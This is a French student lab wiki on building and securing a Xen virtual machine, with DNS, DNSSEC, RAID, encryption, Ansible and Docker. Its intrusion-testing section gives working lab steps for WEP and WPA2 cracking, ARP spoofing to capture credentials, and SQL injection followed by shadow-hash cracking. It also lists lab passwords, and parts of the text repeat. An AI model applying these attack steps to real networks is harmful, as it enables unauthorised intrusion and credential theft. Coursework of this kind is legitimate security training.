Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé. (Merci Paul pour ta carte graphique à 4 chiffres)

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des "apt install" et ne plus être considéré comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeurs en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour pouvoir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zone pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.site (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seule notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant ont été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-28T13:47:21Z

Psanchez : /* Configuration de nos serveurs internes */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

